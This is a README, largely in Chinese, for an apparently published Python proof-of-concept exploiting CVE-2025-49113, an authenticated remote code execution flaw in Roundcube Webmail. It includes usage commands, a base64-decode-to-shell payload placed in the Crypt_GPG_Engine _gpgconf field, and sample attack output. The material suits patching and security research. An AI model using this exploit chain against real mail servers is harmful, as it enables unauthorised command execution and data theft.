CVE-2025-49113 – Roundcube Webmail RCE Exploit (Python PoC)

CVE ID: CVE-2025-49113
漏洞类型: 远程代码执行（通过PHP对象注入）
受影响应用: Roundcube Webmail ≤ 1.5.9 和 ≤ 1.6.10
利用语言: Python
作者: 00xCanelo
状态: 在易受攻击的Roundcube安装上测试通过

📌 描述

该漏洞利用利用了Roundcube Webmail处理上传图像文件名时将其反序列化为PHP对象的漏洞。通过构造恶意载荷触发Crypt_GPG_Engine反序列化链，可以在认证后实现远程命令执行。

这个Python PoC模拟了公开PHP利用的攻击链，但具有更清晰的逻辑、可选的日志记录功能，并且易于在攻击工具设置中使用。

🚧 前提条件

易受攻击的Roundcube版本（≤1.5.9或≤1.6.10）
Roundcube上的有效用户凭据
Python 3.x环境
pip install requests

🚀 利用步骤

1

python3 CVE-2025-49113.py <target_url> <username> <password> <command>

示例:

1

python3 CVE-2025-49113.py https://mail.target.htb/ user@target.htb 'P@ssw0rd123' 'id'

🔐 漏洞链

PHP类Crypt_GPG_Engine允许设置_gpgconf字段，该字段随后传递给shell执行。

我们的载荷构造：

1

echo "<base64-encoded-cmd>" | base64 -d | sh

在_gpgconf中，这会在反序列化时导致RCE。

💣 示例输出

1
2
3
4
5
6
7
8


[*] 启动CVE-2025-49113漏洞利用...
[*] 检查Roundcube版本...
[*] 检测到Roundcube版本: 10606
[+] 目标存在漏洞！
[*] 登录中...
[+] 登录成功。
[*] 将序列化小工具作为图像文件名上传...
[+] 小工具上传成功！

📁 文件结构

1
2


.
├── CVE-2025-49113.py     # Python PoC脚本

⚠️ 免责声明

此代码仅用于教育和授权的安全测试目的。严禁任何滥用此工具的行为。作者不对造成的任何损害负责。

CVE-2025-49113 – Roundcube Webmail远程代码执行漏洞利用（Python PoC）

本文详细介绍了CVE-2025-49113漏洞的Python利用方法，该漏洞影响Roundcube Webmail ≤1.5.9和≤1.6.10版本，通过PHP对象注入实现认证后远程代码执行。